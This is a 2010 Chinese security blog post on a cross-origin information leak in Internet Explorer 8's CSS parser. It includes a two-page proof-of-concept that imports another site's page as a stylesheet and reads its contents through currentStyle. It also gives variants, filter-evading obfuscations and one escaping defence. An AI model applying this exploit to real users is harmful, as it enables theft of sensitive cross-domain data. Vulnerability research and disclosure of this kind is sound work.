Microsoft IE CSS处理跨域信息泄露漏洞

date 2010年09月09日 | category 学习笔记,工具收集| 坏人咖啡

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

Internet Explorer允许包含跨来源的内容,且CSS解析器在处理内容时是容错的。如果用户在页面中注入某些内容并以样式表的方式导入,就可以获得其他域中网页的敏感信息。
也是很严重的一个漏洞,我们都知道同源策略限制脚本不能跨域读数据,用这个漏洞在IE8里就可以了。
POC:
[html]
www.a.com/test.html:
<body>
{}body{font-family:

aaaaaaaaaaaaaa

bbbbbbbbbbbbbbbb

</body>

www.b.com/test2.html:
<style>
@import url("http://www.a.com/test.html");
</style>

<script>

setTimeout(function(){
var t = document.body.currentStyle.fontFamily;
alert(t);
},2000);

</script>

[/html]

原理:
import 远程文件后,渲染进入当前页面DOM,通过 document.body.currentStyle.fontFamily 访问此内容,估计问题是在IE8里CSS Parser的过程,fontFamily: 后面的内容被当做了value。 FF也没有 currentStyle 这种对象。

我写这篇blog的原因是测试后,有了下面几个TIPS:
1. import 是在整个页面load完成后才加载的,所以我在POC里用了setTimeout

2. 不一定要 fontFamily, 随便自定义一个都可以,比如:
{}body{xxxx:”
然后取的时候:
document.body.currentStyle.xxxx;

3. 引号不是必须的,所以可以写成:
{}body{xxxx:
但我测试的一个case发现不带引号时丢了部分内容,后来重现不了了。

4. 不一定要body, * 也可以
{}*{xxxx:

5. 可以加入各种混淆
{}/*$$%%^^######*/body{xxxx:
{/*$$%%^^######*/}body{xxxx:
{
}body{xxxx:

6. 网站想防御可以转义 {、}、:

7. 可以import本地文件

这类漏洞用于窃取敏感数据非常厉害,进而可以造成很多严重的后果,根据具体场景而定,发挥自己的想象吧。



没有评论

暂无评论

RSS feed for comments on this post.

对不起,该文章的评论被关闭了!